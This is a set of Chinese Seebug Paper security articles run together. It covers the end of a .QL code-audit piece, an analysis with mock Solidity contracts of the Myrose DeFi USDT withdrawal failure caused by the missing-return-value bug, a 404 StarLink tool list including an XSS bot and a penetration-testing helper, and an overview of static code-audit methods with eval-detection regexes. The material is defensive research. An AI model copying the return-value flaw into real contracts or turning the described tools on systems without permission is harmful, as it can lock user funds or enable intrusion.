这篇文章用了大量的篇幅解释了什么是基于.QL的扫描方案,聊了聊许多现代代码审计遇到的问题、困境。在这个基础上,我也做了一些尝试,这里讲的这种基于五元组的CodeDB生成方案属于我最近探索的比较有趣的生成方案,在这个基础上,我也探索了一个简单的查询php反序列化的小插件,后续可能花费比较大的代价去做优化并定制一些基础的查询函数,希望这篇文章能给阅读的你带来一些收获。
如果对相应的代码感兴趣,可以持续关注KunLun-M的更新
ref
- https://help.semmle.com/publications.html
- https://help.semmle.com/home/Resources/pdfs/scam07.pdf
- https://en.wikipedia.org/wiki/Data-flow_analysis
- https://en.wikipedia.org/wiki/Control-flow_graph
- https://en.wikipedia.org/wiki/Source_Code_in_Database
- https://en.wikipedia.org/wiki/.QL
- https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/5.4_dataflow_analysis.html
- https://blog.csdn.net/nklofy/article/details/83963125
- https://blog.csdn.net/nklofy/article/details/84206428
- https://lorexxar.cn/2020/09/21/whiteboxaudit/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1387/
-
波场 DeFi 项目 Myrose 无法提现 USDT 技术分析
作者:昏鸦,Al1ex@知道创宇404区块链安全研究团队
时间:2020年9月16日事件起因
2020年9月14日晚20:00点,未经安全审计的波场最新Defi项目Myrose.finance登陆Tokenpocket钱包,首批支持JST、USDT、SUN、DACC挖矿,并将逐步开通ZEUS、PEARL、CRT等的挖矿,整个挖矿周期将共计产出8400枚ROSE,预计将分发给至少3000名矿工,ROSE定位于波场DeFi领域的基础资产,不断为持有者创造经济价值。
项目上线之后引来了众多的用户(高达5700多人)参与挖矿,好景不长,在20:09左右有用户在Telegram"Rose中文社区群"中发文表示USDT无法提现:
截止发文为止,无法提现的USDT数量高达6,997,184.377651 USDT(约700万USDT),随后官方下线USDT挖矿项目。
分析复现
我们直接通过模拟合约在remix上测试。
USDT模拟测试合约代码如下,USDT_Ethereum和USDT_Tron分别模拟两个不同平台的USDT代币合约,分别代表
transfer
函数有显式return true
和无显式return true
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132pragma solidity ^0.5.0;import "IERC20.sol";import "SafeMath.sol";contract USDT_Ethereum is IERC20 {using SafeMath for uint256;uint256 internal _totalSupply;mapping(address => uint256) internal _balances;mapping (address => mapping (address => uint)) private _allowances;event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint value);constructor() public {_totalSupply = 1 * 10 ** 18;_balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return _balances[account];}function allowance(address owner, address spender) external view returns (uint256) {return _allowances[owner][spender];}function approve(address spender, uint amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}function _approve(address owner, address spender, uint amount) internal {require(owner != address(0), "ERC20: approve from the zero address");require(spender != address(0), "ERC20: approve to the zero address");_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}function mint(address account, uint amount) external {require(account != address(0), "ERC20: mint to the zero address");_totalSupply = _totalSupply.add(amount);_balances[account] = _balances[account].add(amount);emit Transfer(address(0), account, amount);}function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {require(_to != address(0));require(_value <= _balances[msg.sender]);_balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");_balances[_to] = _balances[_to].add(_value);emit Transfer(_from, _to, _value);return true;}function transfer(address to, uint value) public returns (bool) {_transfer(msg.sender, to, value);return true;//显式return true}function transferFrom(address from, address to, uint value) public returns (bool) {_transfer(from, to, value);_approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));return true;}}contract USDT_Tron is IERC20 {using SafeMath for uint256;uint256 internal _totalSupply;mapping(address => uint256) internal _balances;mapping (address => mapping (address => uint)) private _allowances;event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint value);constructor() public {_totalSupply = 1 * 10 ** 18;_balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return _balances[account];}function allowance(address owner, address spender) external view returns (uint256) {return _allowances[owner][spender];}function approve(address spender, uint amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}function _approve(address owner, address spender, uint amount) internal {require(owner != address(0), "ERC20: approve from the zero address");require(spender != address(0), "ERC20: approve to the zero address");_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}function mint(address account, uint amount) external {require(account != address(0), "ERC20: mint to the zero address");_totalSupply = _totalSupply.add(amount);_balances[account] = _balances[account].add(amount);emit Transfer(address(0), account, amount);}function _transfer(address _from ,address _to, uint256 _value) internal returns (bool) {require(_to != address(0));require(_value <= _balances[msg.sender]);_balances[_from] = _balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");_balances[_to] = _balances[_to].add(_value);emit Transfer(_from, _to, _value);return true;}function transfer(address to, uint value) public returns (bool) {_transfer(msg.sender, to, value);//return true;//无显式return,默认返回false}function transferFrom(address from, address to, uint value) public returns (bool) {_transfer(from, to, value);_approve(from, msg.sender, _allowances[from][msg.sender].sub(value, "ERC20: transfer amount exceeds allowance"));return true;}}Myrose模拟测试合约代码如下:
123456789101112131415161718192021222324252627282930313233pragma solidity ^0.5.0;import "IERC20.sol";import "Address.sol";import "SafeERC20.sol";import "SafeMath.sol";contract Test {using Address for address;using SafeERC20 for IERC20;using SafeMath for uint256;uint256 internal _totalSupply;mapping(address => uint256) internal _balances;constructor() public {_totalSupply = 1 * 10 ** 18;_balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return _balances[account];}function withdraw(address yAddr,uint256 amount) public {_totalSupply = _totalSupply.sub(amount);_balances[msg.sender] = _balances[msg.sender].sub(amount);IERC20 y = IERC20(yAddr);y.safeTransfer(msg.sender, amount);}}Remix部署
USDT_Ethereum
、USDT_Tron
、Test
三个合约。调用USDT_Ethereum和USDT_Tron的
mint
函数给Test合约地址增添一些代币。然后调用Test合约的
withdraw
函数提现测试。可以看到
USDT_Ethereum
提现成功,USDT_Tron
提现失败。失败的回滚信息中,正是
safeTransfer
函数中对最后返回值的校验。12345678910111213141516function safeTransfer(IERC20 token, address to, uint value) internal {callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));}function callOptionalReturn(IERC20 token, bytes memory data) private {require(address(token).isContract(), "SafeERC20: call to non-contract");// solhint-disable-next-line avoid-low-level-calls(bool success, bytes memory returndata) = address(token).call(data);require(success, "SafeERC20: low-level call failed");if (returndata.length > 0) { // Return data is optional// solhint-disable-next-line max-line-lengthrequire(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");//require校验返回的bool数值,false则回滚,提示操作失败}}Missing Return Value Bug
上文的合约模拟实验揭示了以太坊与波场两个不同平台下USDT代币合约中transfer函数关于返回值处理差异性带来的安全风险,而关于"missing return value bug"这一个问题,早在2018年就有研究人员在Medium上公开讨论过,只不过是针对以太坊的,这里对以太坊中的"missing return value bug"问题做一个简单的介绍:
ERC20标准是以太坊平台上最常见的Token标准,ERC20被定义为一个接口,该接口指定在符合ERC20的智能合同中必须实现哪些功能和事件。目前,主要的接口如下所示:
123456789101112interface ERC20Interface {function totalSupply() external constant returns (uint);function balanceOf(address tokenOwner) external constant returns (uint balance);function allowance(address tokenOwner, address spender) external constant returns (uint remaining);function transfer(address to, uint tokens) external returns (bool success);function approve(address spender, uint tokens) external returns (bool success);function transferFrom(address from, address to, uint tokens) external returns (bool success);event Transfer(address indexed from, address indexed to, uint tokens);event Approval(address indexed tokenOwner, address indexed spender, uint tokens);}在ERC20的开发过程中,有研究人员对于ERC20合约中的transfer函数的正确返回值进行了讨论,主要分为两个阵营:一方认为,如果transfer函数允许在调用合约中处理Failed error,那么应该在被调用合约中返回false值,另一方声称,在无法确保安全的情况下,ERC20应该revert交易,关于这个问题在当时被认为都是符合ERC20标准的,并未达成一致。
事实证明,很大比例的ERC20 Token在传递函数的返回值方面表现出了另一种特殊的方式,有些智能合约的Transfer函数不返回任何东西,对应的函数接口大致如下:
12345678910interface BadERC20Basic {function balanceOf(address who) external constant returns (uint);function transfer(address to, uint value) external;function allowance(address owner, address spender) external constant returns (uint);function transferFrom(address from, address to, uint value) external;function approve(address spender, uint value) external;event Approval(address indexed owner, address indexed spender, uint value);event Transfer(address indexed from, address indexed to, uint value);}那么符合ERC20标准的接口的合约试图与不符合ERC20的合约进行交互,会发生什么呢?下面我们通过一个合约示例来做解释说明:
1234567891011121314151617interface Token {function transfer() returns (bool);}contract GoodToken is Token {function transfer() returns (bool) { return true; }}contract BadToken {function transfer() {}}contract Wallet {function transfer(address token) {require(Token(token).transfer());}}在solidity中,函数选择器是从它的函数名和输入参数的类型中派生出来的:
1selector = bytes4(sha3(“transfer()”))函数的返回值不是函数选择器的一部分,因此,没有返回值的函数transfer()和函数transfer()返回(bool)具有相同的函数选择器,但它们仍然不同,由于缺少返回值,编译器不会接受transfer()函数作为令牌接口的实现,所以Goodtoken是Token接口的实现,而Badtoken不是。
当我们通过合约去外部调用BadToken时,Bad token会处理该transfer调用,并且不返回布尔返回值,之后调用合约会在内存中查找返回值,但是由于被调用的合约中的Transfer函数没有写返回值,所以它会将在这个内存位置找到的任何内容作为外部调用的返回值。
完全巧合的是,因为调用方期望返回值的内存槽与存储调用的函数选择器的内存槽重叠,这被EVM解释为返回值“真”。因此,完全是运气使然,EVM的表现就像程序员们希望它的表现一样。
自从去年10月拜占庭硬叉以来,EVM有了一个新的操作码,叫做
returndatasize
,这个操作码存储(顾名思义)外部调用返回数据的大小,这是一个非常有用的操作码,因为它允许在函数调用中返回动态大小的数组。这个操作码在solidity 0.4.22更新中被采用,现在,代码在外部调用后检查返回值的大小,并在返回数据比预期的短的情况下revert事务,这比从某个内存插槽中读取数据安全得多,但是这种新的行为对于我们的BadToken来说是一个巨大的问题。
如上所述,最大的风险是用solc ≥ 0.4.22编译的智能合约(预期为ERC0接口)将无法与我们的Badtokens交互,这可能意味着发送到这样的合约的Token将永远停留在那里,即使该合约具有转移ERC 20 Token的功能。
类似问题的合约:
1234567891011121314{'addr': '0xae616e72d3d89e847f74e8ace41ca68bbf56af79', 'name': 'GOOD', 'decimals': 6}{'addr': '0x93e682107d1e9defb0b5ee701c71707a4b2e46bc', 'name': 'MCAP', 'decimals': 8}{'addr': '0xb97048628db6b661d4c2aa833e95dbe1a905b280', 'name': 'PAY', 'decimals': 18}{'addr': '0x4470bb87d77b963a013db939be332f927f2b992e', 'name': 'ADX', 'decimals': 4}{'addr': '0xd26114cd6ee289accf82350c8d8487fedb8a0c07', 'name': 'OMG', 'decimals': 18}{'addr': '0xb8c77482e45f1f44de1745f52c74426c631bdd52', 'name': 'BNB', 'decimals': 18}{'addr': '0xf433089366899d83a9f26a773d59ec7ecf30355e', 'name': 'MTL', 'decimals': 8}{'addr': '0xc63e7b1dece63a77ed7e4aeef5efb3b05c81438d', 'name': 'FUCKOLD', 'decimals': 4}{'addr': '0xab16e0d25c06cb376259cc18c1de4aca57605589', 'name': 'FUCK', 'decimals': 4}{'addr': '0xe3818504c1b32bf1557b16c238b2e01fd3149c17', 'name': 'PLR', 'decimals': 18}{'addr': '0xe2e6d4be086c6938b53b22144855eef674281639', 'name': 'LNK', 'decimals': 18}{'addr': '0x2bdc0d42996017fce214b21607a515da41a9e0c5', 'name': 'SKIN', 'decimals': 6}{'addr': '0xea1f346faf023f974eb5adaf088bbcdf02d761f4', 'name': 'TIX', 'decimals': 18}{'addr': '0x177d39ac676ed1c67a2b268ad7f1e58826e5b0af', 'name': 'CDT', 'decimals': 18}有两种方法可以修复这个错误:
第一种:受影响的Token合约开放团队需要修改他们的合约,这可以通过重新部署Token合约或者更新合约来完成(如果有合约更新逻辑设计)。
第二种:重新包装Bad Transfer函数,对于这种包装有不同的建议,例如:
123456789101112131415161718192021222324252627282930313233343536373839404142library ERC20SafeTransfer {function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {// note: both of these could be replaced with manual mstore's to reduce cost if desiredbytes memory msg = abi.encodeWithSignature("transfer(address,uint256)", _to, _value);uint msgSize = msg.length;assembly {// pre-set scratch space to all bits setmstore(0x00, 0xff)// note: this requires tangerine whistle compatible EVMif iszero(call(gas(), _tokenAddress, 0, add(msg, 0x20), msgSize, 0x00, 0x20)) { revert(0, 0) }switch mload(0x00)case 0xff {// token is not fully ERC20 compatible, didn't return anything, assume it was successfulsuccess := 1}case 0x01 {success := 1}case 0x00 {success := 0}default {// unexpected value, what could this be?revert(0, 0)}}}}interface ERC20 {function transfer(address _to, uint256 _value) returns (bool success);}contract TestERC20SafeTransfer {using ERC20SafeTransfer for ERC20;function ping(address _token, address _to, uint _amount) {require(ERC20(_token).safeTransfer(_to, _amount));}}另一方面,正在编写ERC 20合约的开发人员需要意识到这个错误,这样他们就可以预料到BadToken的意外行为并处理它们,这可以通过预期BadER 20接口并在调用后检查返回数据来确定我们调用的是Godtoken还是BadToken来实现:
1234567891011121314151617181920212223242526272829303132pragma solidity ^0.4.24;/** WARNING: Proof of concept. Do not use in production. No warranty.*/interface BadERC20 {function transfer(address to, uint value) external;}contract BadERC20Aware {function safeTransfer(address token, address to , uint value) public returns (bool result) {BadERC20(token).transfer(to,value);assembly {switch returndatasize()case 0 { // This is our BadTokenresult := not(0) // result is true}case 32 { // This is our GoodTokenreturndatacopy(0, 0, 32)result := mload(0) // result == returndata of external call}default { // This is not an ERC20 tokenrevert(0, 0)}}require(result); // revert() if result is false}}事件总结
造成本次事件的主要原因还是在于波场USDT的transfer函数未使用TIP20规范的写法导致函数在执行时未返回对应的值,最终返回默认的false,从而导致在使用safeTransfer调用USDT的transfer时永远都只返回false,导致用户无法提现。
所以,在波场部署有关USDT的合约,需要注意额外针对USDT合约进行适配,上线前务必做好充足的审计与测试,尽可能减少意外事件的发生
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。欢迎扫码咨询:
参考链接
[1] Missing-Return-Value-Bug
https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1337/
-
404 StarLink Project – 404星链计划二期
作者:知道创宇404实验室
时间:2020年9月21日“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404自研的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址: - https://github.com/knownsec/404StarLink-Project
Contents
- Project
- KunLun-M
- Kunlun-Mirror. Focus on white box tools used by security researchers
- LBot
- A simple xss bot template
- ksubdomain
- the fastest subdomain enumeration tool
- Zoomeye Tools
- the Chrome extension with Zoomeye
- Pocsuite3
- pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
- Zoomeye SDK
- ZoomEye API SDK
- wam
- WAM is a platform powered by Python to monitor "Web App"
- KunLun-M
- Minitools
- bin_extractor
- A simple script for quickly mining sensitive information in binary files.
- CookieTest
- A script used to quickly test APIs or required parameters and cookies for a certain request.
- ipstatistics
- ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
- cidrgen
- cidrgen is based on cidr's subnet IP list generator
- bin_extractor
Project
该分类下主要聚合各类安全工具,偏向于可用性较高的完整项目。
KunLun-M
项目链接:
https://github.com/LoRexxar/Kunlun-M
项目简述:
Kunlun-Mirror是从Cobra-W2.0发展而来,在经历了痛苦的维护改进原工具之后,昆仑镜将工具的发展重心放在安全研究员的使用上,将会围绕工具化使用不断改进使用体验。
目前工具主要支持php、javascript的语义分析,以及chrome ext, solidity的基础扫描.
KunLun-M可能是市面上唯一的开源并长期维护的自动化代码审计工具,希望开源工具可以推动白盒审计的发展:>.
LBot
项目链接:
https://github.com/knownsec/LBot
项目简述:
XSS Bot是CTF比赛中出XSS的一大门槛,后端性能不够,环境处理不完善各种都会影响到Bot的每一环。
LBot是脱胎于爬虫的简单模板,配合相应的功能,可以方便快捷的完成一个成熟的Bot。
Minitools
该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本,旨在优化日常安全自动化的使用体验。
bin_extractor
项目链接:
https://github.com/knownsec/Minitools-bin_extractor
项目简述:
一个简单的用于快速挖掘二进制文件中敏感信息的脚本。可以用来快速挖掘并验证二进制文件中的url链接等敏感信息。
CookieTest
项目链接:
https://github.com/knownsec/Minitools-CookieTest
项目简述:
用于快速测试api或某个请求的必选参数、cookie的脚本。可以用来快速确认某个api的必选参数以便进一步测试渗透等.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1341/
- Project
-
从0开始聊聊自动化静态代码审计工具
作者:LoRexxar'@知道创宇404实验室
时间:2020年9月21日
英文版:https://paper.seebug.org/1345/前言
自从人类发明了工具开始,人类就在不断为探索如何更方便快捷的做任何事情,在科技发展的过程中,人类不断地试错,不断地思考,于是才有了现代伟大的科技时代。在安全领域里,每个安全研究人员在研究的过程中,也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。
这一次我们就一起聊聊自动化代码审计的发展史,也顺便聊聊如何完成一个自动化静态代码审计的关键。
自动化代码审计
在聊自动化代码审计工具之前,首先我们必须要清楚两个概念,漏报率和误报率。
- 漏报率是指没有发现的漏洞/Bug
- 误报率是指发现了错误的漏洞/Bug在评价下面的所有自动化代码审计工具/思路/概念时,所有的评价标准都离不开这两个词,如何消除这两点或是其中之一也正是自动化代码审计发展的关键点。
我们可以简单的把自动化代码审计(这里我们讨论的是白盒)分为两类,一类是动态代码审计工具,另一类是静态代码审计工具。
动态代码审计的特点与局限
动态代码审计工具的原理主要是基于在代码运行的过程中进行处理并挖掘漏洞。我们一般称之为IAST(interactive Application Security Testing)。
其中最常见的方式就是通过某种方式Hook恶意函数或是底层api并通过前端爬虫判别是否触发恶意函数来确认漏洞。
我们可以通过一个简单的流程图来理解这个过程。
在前端Fuzz的过程中,如果Hook函数被触发,并满足某种条件,那么我们认为该漏洞存在。
这类扫描工具的优势在于,通过这类工具发现的漏洞误报率比较低,且不依赖代码,一般来说,只要策略足够完善,能够触发到相应恶意函数的操作都会相应的满足某种恶意操作。而且可以跟踪动态调用也是这种方法最主要的优势之一。
但随之而来的问题也逐渐暴露出来:
(1) 前端Fuzz爬虫可以保证对正常功能的覆盖率,却很难保证对代码功能的覆盖率。如果曾使用动态代码审计工具对大量的代码扫描,不难发现,这类工具针对漏洞的扫描结果并不会比纯黑盒的漏洞扫描工具有什么优势,其中最大的问题主要集中在功能的覆盖度上。
一般来说,你很难保证开发完成的所有代码都是为网站的功能服务的,也许是在版本迭代的过程中不断地冗余代码被遗留下来,也有可能是开发人员根本没有意识到他们写下的代码并不只是会按照预想的样子执行下去。有太多的漏洞都无法直接的从前台的功能处被发现,有些甚至可能需要满足特定的环境、特定的请求才能触发。这样一来,代码的覆盖率得不到保证,又怎么保证能发现漏洞呢?
(2) 动态代码审计对底层以及hook策略依赖较强
由于动态代码审计的漏洞判别主要依赖Hook恶意函数,那么对于不同的语言、不同的平台来说,动态代码审计往往要针对设计不同的hook方案。如果Hook的深度不够,一个深度框架可能就无法扫描了。
拿PHP举例子来说,比较成熟的Hook方案就是通过PHP插件实现,具体的实现方案可以参考。
由于这个原因影响,一般的动态代码审计很少可以同时扫描多种语言,一般来说都是针对某一种语言。
其次,Hook的策略也需要许多不同的限制以及处理。就拿PHP的XSS来举例子,并不是说一个请求触发了echo函数就应该判别为XSS。同样的,为了不影响正常功能,并不是echo函数参数中包含
<script>
就可以算XSS漏洞。在动态代码审计的策略中,需要有更合理的前端->Hook策略判别方案,否则会出现大量的误报。除了前面的问题以外,对环境的强依赖、对执行效率的需求、难以和业务代码结合的各种问题也确切的存在着。当动态代码审计的弊端不断被暴露出来后,从笔者的角度来看,动态代码审计存在着原理本身与问题的冲突,所以在自动化工具的发展过程中,越来越多的目光都放回了静态代码审计上(SAST).
静态代码审计工具的发展
静态代码审计主要是通过分析目标代码,通过纯静态的手段进行分析处理,并挖掘相应的漏洞/Bug.
与动态不同,静态代码审计工具经历了长期的发展与演变过程,下面我们就一起回顾一下(下面的每个时期主要代表的相对的发展期,并不是比较绝对的诞生前后):
上古时期 - 关键字匹配
如果我问你“如果让你设计一个自动化代码审计工具,你会怎么设计?”,我相信,你一定会回答我,可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。
这里我们拿PHP做个简单的例子。
虽然我们匹配到了这个简单的漏洞,但是很快发现,事情并没有那么简单。
也许你说你可以通过简单的关键字重新匹配到这个问题。
1\beval\(\$但是可惜的是,作为安全研究员,你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择:
- 高覆盖性 – 宁错杀不放过
这类工具最经典的就是Seay,通过简单的关键字来匹配经可能多的目标,之后使用者可以通过人工审计的方式进一步确认。
1\beval\b\(- 高可用性 – 宁放过不错杀
这类工具最经典的是Rips免费版
1\beval\b\(\$_(GET|POST)用更多的正则来约束,用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。
但问题显而易见,高覆盖性和高可用性是这种实现方法永远无法解决的硬伤,不但维护成本巨大,而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。
近代时期 - 基于AST的代码分析
有人忽略问题,也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯,你也就没办法通过任何制式的匹配来确认漏洞,那么基于AST的代码审计方式就诞生了,开发人员是不同的,但编译器是相同的。
在分享这种原理之前,我们首先可以复现一下编译原理。拿PHP代码举例子:
随着PHP7的诞生,AST也作为PHP解释执行的中间层出现在了编译过程的一环。
通过词法分析和语法分析,我们可以将任意一份代码转化为AST语法树。常见的语义分析库可以参考:
当我们得到了一份AST语法树之后,我们就解决了前面提到的关键字匹配最大的问题,至少我们现在对于不同的代码,都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。
在理解如何分析AST语法树之前,我们首先要明白information flow、source、sink三个概念,
- source: 我们可以简单的称之为输入,也就是information flow的起点
- sink: 我们可以称之为输出,也就是information flow的终点
而information flow,则是指数据在source到sink之间流动的过程。
把这个概念放在PHP代码审计过程中,Source就是指用户可控的输入,比如
$_GET、$_POST
等,而Sink就是指我们要找到的敏感函数,比如echo、eval
,如果某一个Source到Sink存在一个完整的流,那么我们就可以认为存在一个可控的漏洞,这也就是基于information flow的代码审计原理。在明白了基础原理的基础上,我举几个简单的例子:
在上面的分析过程中,Sink就是eval函数,source就是
$_GET
,通过逆向分析Sink的来源,我们成功找到了一条流向Sink的information flow,也就成功发现了这个漏洞。ps: 当然也许会有人好奇为什么选择逆向分析流而不是正向分析流,这个问题会在后续的分析过程中不断渗透,慢慢就可以明白其关键点。
在分析information flow的过程中,明确作用域是基础中的基础.这也是分析information flow的关键,我们可以一起看看一段简单的代码
如果我们很简单的通过左右值去回溯,而没有考虑到函数定义的话,我们很容易将流定义为:
这样我们就错误的把这段代码定义成了存在漏洞,但很显然并不是,而正确的分析流程应该是这样的:
在这段代码中,从主语法树的作用域跟到Get函数的作用域,如何控制这个作用域的变动,就是基于AST语法树分析的一大难点,当我们在代码中不可避免的使用递归来控制作用域时,在多层递归中的统一标准也就成了分析的基础核心问题。
事实上,即便你做好了这个最简单的基础核心问题,你也会遇到层出不穷的问题。这里我举两个简单的例子
(1) 新函数封装
这是一段很经典的代码,敏感函数被封装成了新的敏感函数,参数是被二次传递的。为了解决,这样information flow的方向从逆向->正向的问题。
通过新建大作用域来控制作用域。
(2) 多重调用链
这是一段有漏洞的JS代码,人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。
这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。
如果说,前面的两个问题是可以被解决的话,还有很多问题是没办法被解决的,这里举一个简单的例子。
这是一个典型的全局过滤,人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中,当回溯到Source为
$_GET['a']
时,已经满足了从Source到sink的information flow。已经被识别为漏洞。一个典型的误报就出现了。而基于AST的自动化代码审计工具也正是在与这样的问题做博弈,从PHP自动化代码审计中比较知名的Rips、Cobra再到我自己二次开发的Cobra-W.
- https://www.ripstech.com/
- https://github.com/WhaleShark-Team/cobra
- https://github.com/LoRexxar/Kunlun-M
都是在不同的方式方法上,优化information flow分析的结果,而最大的区别则是离不开的高可用性、高覆盖性两点核心。
- Cobra是由蘑菇街安全团队开发的侧重甲方的静态自动化代码扫描器,低漏报率是这类工具的核心,因为甲方不能承受没有发现的漏洞的后果,这也是这类工具侧重优化的关键。
在我发现没有可能完美的回溯出每一条流的过程之后,我将工具的定位放在白帽子自用上,从开始的Cobra-W到后期的KunLun-M,我都侧重在低误报率上,只有准确可靠的流我才会认可,否则我会将他标记为疑似漏洞,并在多环定制了自定义功能以及详细的log日志,以便安全研究人员在使用的过程中可以针对目标多次优化扫描。
对于基于AST的代码分析来说,最大的挑战在于没人能保证自己完美的处理所有的AST结构,再加上基于单向流的分析方式,无法应对100%的场景,这也正是这类工具面临的问题(或者说,这也就是为什么选择逆向的原因)。
基于IR/CFG的代码分析
如果深度了解过基于AST的代码分析原理的话,不然发现AST的许多弊端。首先AST是编译原理中IR/CFG的更上层,其ast中保存的节点更接近源代码结构。
也就是说,分析AST更接近分析代码,换句话就是说基于AST的分析得到的流,更接近脑子里对代码执行里的流程,忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件,这也是基于AST的代码分析的普遍解决方案,当然,从结果论上很难辨别忽略带来的后果。所以基于IR/CFG这类带有控制流的解决方案,是现在更主流的代码分析方案,但不是唯一。
首先我们得知道什么是IR/CFG。 - IR:是一种类似于汇编语言的线性代码,其中各个指令按照顺序执行。其中现在主流的IR是三地址码(四元组) - CFG: (Control flow graph)控制流图,在程序中最简单的控制流单位是一个基本块,在CFG中,每一个节点代表一个基本块,每一个边代表一个可控的控制转移,整个CFG代表了整个代码的的控制流程图。
一般来说,我们需要遍历IR来生成CFG,其中需要按照一定的规则,不过不属于这里的主要内容就暂且不提。当然,你也可以用AST来生成CFG,毕竟AST是比较高的层级。
而基于CFG的代码分析思路优势在于,对于一份代码来说,你首先有了一份控制流图(或者说是执行顺序),然后才到漏洞挖掘这一步。比起基于AST的代码分析来说,你只需要专注于从Source到Sink的过程即可。
建立在控制流图的基础上,后续的分析流程与AST其实别无太大的差别,挑战的核心仍然维持在如何控制流,维持作用域,处理程序逻辑的分支过程,确认Source与Sink。
理所当然的是,既然存在基于AST的代码分析,又存在基于CFG的代码分析,自然也存在其他的种类。比如现在市场上主流的fortify,Checkmarx,Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分,比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析。前段时间被阿里收购的源伞甚至实现了多种语言生成统一的IR,这样一来对于新语言的扫描支持难度就变得大大减少了。
事实上,无论是基于AST、CFG或是某个自制的中间语言,现代代码分析思路也变得清晰起来,针对统一的数据结构已经成了现代代码分析的基础。
未来 - QL概念的出现
QL指的是一种面向对象的查询语言,用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL,一般用于查询存储在数据库中的数据。
而在代码分析领域,Semmle QL是最早诞生的QL语言,他最早被应用于LGTM,并被用于Github内置的安全扫描为大众免费提供。紧接着,CodeQL也被开发出来,作为稳定的QL框架在github社区化。
那么什么是QL呢?QL又和代码分析有什么关系呢?
首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么?无论是基于哪种中间件建立的代码分析流程,都离不开3个概念,流、Source、Sink,这类代码分析的原理无论是正向还是逆向,都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程,就好像编译器编译运行一样,程序总是流式运行的。这种分析的方式就是数据流分析(Data Flow)。
而QL就是把这个流的每一个环节具象化,把每个节点的操作具像成状态的变化,并且储存到数据库中。这样一来,通过构造QL语言,我们就能找到满足条件的节点,并构造成流。下面我举一个简单的例子来说:
123456<?php$a = $_GET['a'];$b = htmlspecialchars($a);echo $b;我们简单的把前面的流写成一个表达式
1echo => $_GET.is_filterxss这里
is_filterxss
被认为是输入$_GET
的一个标记,在分析这类漏洞的时候,我们就可以直接用QL表达12345select * where {Source : $_GET,Sink : echo,is_filterxss : False,}我们就可以找到这个漏洞(上面的代码仅为伪代码),从这样的一个例子我们不难发现,QL其实更接近一个概念,他鼓励将信息流具象化,这样我们就可以用更通用的方式去写规则筛选。
